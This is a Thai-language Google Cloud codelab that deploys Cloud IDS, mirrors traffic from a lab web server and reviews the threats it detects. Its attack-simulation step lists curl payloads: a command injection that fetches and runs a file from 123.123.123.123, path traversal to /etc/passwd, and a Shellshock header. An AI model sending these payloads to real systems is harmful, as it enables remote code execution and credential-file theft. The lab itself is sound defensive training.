1. บทนำ
ในห้องทดลองนี้ คุณจะได้ติดตั้งใช้งาน Cloud IDS ซึ่งเป็นบริการตรวจจับการบุกรุกขั้นสูงรุ่นใหม่ที่มีการตรวจจับภัยคุกคามสำหรับการบุกรุก มัลแวร์ สปายแวร์ และการโจมตีด้วยคำสั่งและการควบคุม คุณจะจำลองการโจมตีหลายครั้งและดูรายละเอียดภัยคุกคามใน Cloud Console
สิ่งที่คุณจะได้เรียนรู้
- วิธีสร้างปลายทาง Cloud IDS
- วิธีสร้างเครื่องเสมือน 2 เครื่องด้วยคำสั่ง gcloud
- วิธีสร้างนโยบายการมิเรอร์แพ็กเกต
- วิธีจำลองปริมาณการเข้าชมการโจมตีจากเครื่องเสมือน
- วิธีดูรายละเอียดภัยคุกคามใน Cloud Console และ Cloud Logging
สิ่งที่คุณต้องมี
- ความรู้เกี่ยวกับคำสั่ง Linux พื้นฐาน
2. กรณีการใช้งานของ Cloud IDS
Cloud IDS มอบบริการตรวจจับการบุกรุกรุ่นถัดไป (IDS) แบบเนทีฟของ Google Cloud เพื่อให้ลูกค้าปฏิบัติตามข้อกำหนดด้านการตรวจจับภัยคุกคามและการปฏิบัติตามข้อกำหนดขั้นสูง เช่น PCI 11.4 บริการนี้ขับเคลื่อนโดยเทคโนโลยีการป้องกันภัยคุกคามของ Palo Alto Networks เพื่อให้บริการตรวจจับการบุกรุกขั้นสูง การผสานโครงสร้างพื้นฐานระดับโลกของ Google Cloud เข้ากับการรักษาความปลอดภัยระดับโลกจากเครือข่าย Palo Alto มอบการผสมผสานบริการตรวจจับภัยคุกคามขั้นสูงที่มีการจัดการเต็มรูปแบบ ประสิทธิภาพและการรักษาความปลอดภัยสูงสุดให้แก่ลูกค้าในแบบที่ไม่มีใครเทียบได้
เมื่อลูกค้าย้ายข้อมูลไปยังระบบคลาวด์ ความปลอดภัยจะเป็นที่หนึ่งในใจลูกค้าเสมอ ลูกค้าต้องการมีการควบคุมความปลอดภัยที่คล้ายกันภายในองค์กร เช่น บริการตรวจจับการบุกรุก (IDS) ในระบบคลาวด์ ลูกค้าต้องการใช้โซลูชัน IDS ที่มีการจัดการซึ่งดำเนินการบนระบบคลาวด์เพื่อให้ติดตั้งใช้งานได้ง่าย มีประสิทธิภาพสูง และเพิ่มประสิทธิภาพต้นทุน เมื่อเทียบกับการติดตั้งใช้งานโซลูชันการรักษาความปลอดภัยของบุคคลที่สาม และการจัดการโครงสร้างพื้นฐาน หรือการนำลายเซ็นของตนเองมาใช้ Google Cloud IDS เป็นบริการ IDS ที่มีการจัดการซึ่งปรับขนาดอัตโนมัติและครบวงจร ช่วยให้ลูกค้าใช้เวลาในการวิเคราะห์และลดภัยคุกคาม ตลอดจนลดเวลาและทรัพยากรในการจัดการโครงสร้างพื้นฐานหรือลายเซ็นภัยคุกคาม
ระบบทำให้ Cloud IDS ทำงานนอกขอบเขต รวมถึงสามารถตรวจจับและแจ้งเตือนภัยคุกคาม แต่ไม่สามารถบล็อกภัยคุกคามได้ โดยใช้ประโยชน์จากการมิเรอร์แพ็กเกตของ Google Cloud เพื่อทำสำเนาการจราจรของข้อมูลในเครือข่ายที่ได้รับการวิเคราะห์โดยใช้เครื่องมือตรวจจับภัยคุกคามของเครือข่าย Palo Alto
3. โทโพโลยี Codelab
รูปที่ 1 ภาพรวมทางสถาปัตยกรรมระดับสูงของการทำให้ Cloud IDS ใช้งานได้สำหรับห้องทดลองนี้
4. การตั้งค่าและข้อกำหนด
การตั้งค่าสภาพแวดล้อมตามเวลาที่สะดวก
- ลงชื่อเข้าใช้ Google Cloud Console และสร้างโปรเจ็กต์ใหม่หรือใช้โปรเจ็กต์ที่มีอยู่ซ้ำ หากยังไม่มีบัญชี Gmail หรือ Google Workspace คุณต้องสร้างบัญชี
- ชื่อโครงการคือชื่อที่แสดงของผู้เข้าร่วมโปรเจ็กต์นี้ เป็นสตริงอักขระที่ Google APIs ไม่ได้ใช้และคุณอัปเดตได้ทุกเมื่อ
- รหัสโปรเจ็กต์ต้องไม่ซ้ำกันในโปรเจ็กต์ Google Cloud ทั้งหมดและจะเปลี่ยนแปลงไม่ได้ (เปลี่ยนแปลงไม่ได้หลังจากตั้งค่าแล้ว) Cloud Console จะสร้างสตริงที่ไม่ซ้ำกันโดยอัตโนมัติ ปกติแล้วคุณไม่สนว่าอะไรเป็นอะไร ใน Codelab ส่วนใหญ่ คุณจะต้องอ้างอิงรหัสโปรเจ็กต์ (ซึ่งปกติระบุไว้ว่าเป็น
PROJECT_ID
) ดังนั้นหากไม่ชอบ ให้สร้างรหัสแบบสุ่มขึ้นมาอีกรหัสหนึ่ง หรือคุณจะลองใช้รหัสโปรเจ็กต์ของคุณเองแล้วดูว่ารหัสโปรเจ็กต์พร้อมใช้งานหรือไม่ แล้วก็ "แช่แข็ง" หลังจากสร้างโปรเจ็กต์แล้ว - มีค่าที่ 3 คือหมายเลขโปรเจ็กต์ที่ API บางตัวใช้ ดูข้อมูลเพิ่มเติมเกี่ยวกับค่าทั้ง 3 ค่าเหล่านี้ในเอกสารประกอบ
- ถัดไป คุณจะต้องเปิดใช้การเรียกเก็บเงินใน Cloud Console เพื่อใช้ทรัพยากร/API ของระบบคลาวด์ การใช้งาน Codelab นี้น่าจะไม่มีค่าใช้จ่ายใดๆ หากมี หากต้องการปิดทรัพยากรเพื่อไม่ให้มีการเรียกเก็บเงินนอกเหนือจากบทแนะนำนี้ ให้ทำตาม "การล้าง" ดูได้ที่ตอนท้ายของ Codelab ผู้ใช้ใหม่ของ Google Cloud จะมีสิทธิ์เข้าร่วมโปรแกรมทดลองใช้ฟรี$300 USD
เริ่มต้น Cloud Shell
แม้ว่าคุณจะดำเนินการ Google Cloud จากระยะไกลได้จากแล็ปท็อป แต่คุณจะใช้ Google Cloud Shell ซึ่งเป็นสภาพแวดล้อมแบบบรรทัดคำสั่งที่ทำงานในระบบคลาวด์ใน Codelab นี้
จากคอนโซล GCP ให้คลิกไอคอน Cloud Shell บนแถบเครื่องมือด้านขวาบนดังนี้
การจัดสรรและเชื่อมต่อกับสภาพแวดล้อมนี้ควรใช้เวลาเพียงครู่เดียว เมื่อเสร็จแล้ว คุณจะเห็นข้อมูลต่อไปนี้
เครื่องเสมือนนี้เต็มไปด้วยเครื่องมือการพัฒนาทั้งหมดที่คุณต้องการ โดยมีไดเรกทอรีหลักขนาด 5 GB ที่ใช้งานได้ต่อเนื่องและทำงานบน Google Cloud ซึ่งช่วยเพิ่มประสิทธิภาพของเครือข่ายและการตรวจสอบสิทธิ์ได้อย่างมาก งานทั้งหมดใน Lab นี้สามารถทำได้โดยใช้เบราว์เซอร์
5. ก่อนเริ่มต้น
เปิดใช้ API
ตรวจสอบว่าตั้งค่ารหัสโปรเจ็กต์ใน Cloud Shell แล้ว
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
เปิดใช้บริการที่จำเป็นทั้งหมด
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. สร้างเครือข่าย VPC
เครือข่าย VPC
จาก Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
ซับเน็ต
จาก Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
การเข้าถึงบริการส่วนตัว
จาก Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
การเชื่อมต่อบริการส่วนตัว
จาก Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
กฎไฟร์วอลล์
หากต้องการอนุญาตให้ IAP เชื่อมต่อกับอินสแตนซ์ VM ให้สร้างกฎของไฟร์วอลล์ที่มีลักษณะดังนี้
- ใช้กับอินสแตนซ์ VM ทั้งหมดที่คุณต้องการให้เข้าถึงได้โดยใช้ IAP
- อนุญาตการรับส่งข้อมูลขาเข้าจากช่วง IP 35.235.240.0/20 ช่วงนี้ประกอบด้วยที่อยู่ IP ทั้งหมดที่ IAP ใช้สำหรับการส่งต่อ TCP
จาก Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
หากต้องการอนุญาตให้มีพอร์ต HTTP มาตรฐาน (TCP 80) และโปรโตคอล ICMP ไปยังเซิร์ฟเวอร์ ให้ทำดังนี้
- ใช้กับทรัพยากรที่มีแท็กเครือข่าย "เซิร์ฟเวอร์"
- อนุญาตข้อมูลขาเข้าจากทุกต้นทาง
จาก Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
สร้างอินสแตนซ์ Cloud NAT
เราเตอร์ระบบคลาวด์
จาก Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
จาก Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. สร้างปลายทาง Cloud IDS
ในส่วนนี้ คุณจะได้สร้าง Cloud IDS Endpoint ใน us-east1 โดยตั้งค่าความรุนแรงเป็นการให้ข้อมูล การสร้างปลายทาง IDS จะใช้เวลาประมาณ 20 นาที
ปลายทาง IDS
จาก Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
ยืนยันว่าเริ่มปลายทาง Cloud IDS แล้ว
gcloud ids endpoints list --project=$PROJECT_ID
เอาต์พุต -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. สร้างเครื่องเสมือน 2 เครื่อง
ในส่วนนี้ คุณจะได้สร้างเครื่องเสมือน 2 เครื่อง เว็บเซิร์ฟเวอร์แรกคือเว็บเซิร์ฟเวอร์ซึ่งมิเรอร์ไปยัง Cloud IDS เครื่องเสมือนเครื่องที่ 2 จะเป็นแหล่งที่มาของการเข้าชมการโจมตี
เครื่องเสมือน 1 (เซิร์ฟเวอร์)
จาก Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
เครื่องเสมือน 2 (ไคลเอ็นต์)
จาก Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. กำลังเตรียมเซิร์ฟเวอร์
ในงานนี้ คุณจะได้ตรวจสอบเซิร์ฟเวอร์และระบุเพย์โหลดมัลแวร์ที่ไม่เป็นอันตรายสำหรับไคลเอ็นต์ของคุณ
SSH ไปยัง VM ผ่าน Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
ยืนยันว่าบริการเว็บทำงานอยู่
sudo systemctl status nginx
เอาต์พุต - ยืนยันว่าทำงานอยู่และทำงานอยู่
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
เปลี่ยนไดเรกทอรีเป็นบริการบนเว็บ
cd /var/www/html/
สร้างไฟล์มัลแวร์ที่ไม่เป็นอันตรายบนเว็บเซิร์ฟเวอร์
sudo touch eicar.file
วางในเนื้อหา
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
กลับไปที่ CloudShell
exit
สร้างนโยบายการมิเรอร์แพ็กเกต Cloud IDS
ระบุกฎการส่งต่อปลายทาง IDS และยืนยันว่าสถานะปลายทาง IDS คือ "READY"
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
ตัวอย่างเอาต์พุต - คัดลอกค่าจาก "endpointRedirectRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
บันทึกกฎการส่งต่อปลายทาง IDS ไปยังตัวแปร
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
นโยบายการมิเรอร์แพ็กเกต
จาก Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
ยืนยันว่าสร้างนโยบายการมิเรอร์แพ็กเกตแล้ว
จาก Cloud Shell
gcloud compute packet-mirrorings list
เอาต์พุต
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. จำลองการรับส่งข้อมูลการโจมตี
SSH ไปยังเครื่องเสมือน (ไคลเอ็นต์) ของผู้โจมตี
จาก Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
เรียกใช้คำขอ curl ต่อไปนี้เพื่อจำลองการเข้าชมที่เป็นอันตราย
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
ออกจาก VM เพื่อกลับไปยัง CloudShell
exit
11. ตรวจสอบภัยคุกคามที่ Cloud IDS ตรวจพบ
ไปที่แดชบอร์ด Cloud IDS
เมนูการนำทาง > การรักษาความปลอดภัยของเครือข่าย > Cloud ID
ไปที่แท็บ Threats
คุณจะเห็นได้ว่า Cloud IDS ได้บันทึกโปรไฟล์การเข้าชมการโจมตีต่างๆ และให้รายละเอียดเกี่ยวกับภัยคุกคามแต่ละรายการ คุณอาจต้องคลิกปุ่ม "รีเฟรช" หากคุณไม่เห็นภัยคุกคามใดๆ เราจะมาเจาะลึกรายละเอียดเกี่ยวกับภัยคุกคามกัน
หา "ช่องโหว่ Bash Remote Code Execution" ภัยคุกคาม และคลิกที่จุด 3 จุดทางด้านขวา แล้วเลือก "ดูรายละเอียดภัยคุกคาม"
ตอนนี้เราจะมาดูรายละเอียดของเหตุการณ์นี้ใน Cloud Logging กลับไปที่หน้าภัยคุกคามโดยคลิกลูกศรชี้ไปทางซ้าย
คลิกที่จุด 3 จุดทางด้านขวา แล้วเลือก "ดูบันทึกภัยคุกคาม"
รายละเอียดเดียวกันกับที่มอบให้กับ Cloud Logging ซึ่งจะช่วยให้คุณส่งบันทึกไปยัง Cloud Storage, Chronicle หรือ SIEM/SOAR ได้ นอกจากนี้ คุณยังสร้างเวิร์กโฟลว์ที่กำหนดเองเพื่อดำเนินการแก้ไขตามการแจ้งเตือนต่างๆ ได้ เช่น การสร้างฟังก์ชันระบบคลาวด์ที่จะทริกเกอร์การแจ้งเตือนและสร้าง/อัปเดตกฎไฟร์วอลล์เพื่อบล็อกที่อยู่ IP หรือสร้าง/อัปเดตนโยบาย Cloud Armor
12. ขั้นตอนการทำความสะอาด
ออกจากอินสแตนซ์ VM (แท็บทั้งหมด)
exit
ลบคอมโพเนนต์ห้องทดลองจากเทอร์มินัล Cloud Shell เดียว
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. ยินดีด้วย
ขอแสดงความยินดีที่เรียน Codelab จนจบ
หัวข้อที่ครอบคลุม
- กรณีการใช้งานของ Cloud IDS
- ข้อกำหนดเกี่ยวกับเครือข่าย
- API ที่รองรับ
- สร้างปลายทาง Cloud IDS แล้ว
- VM ที่ทำให้ใช้งานได้แล้ว 2 รายการ
- สร้าง "การโจมตี" บางส่วน การเข้าชมจากไคลเอ็นต์
- IDS ตรวจพบภัยคุกคามที่ยืนยันแล้ว
- ตรวจสอบรายละเอียดและบันทึกภัยคุกคาม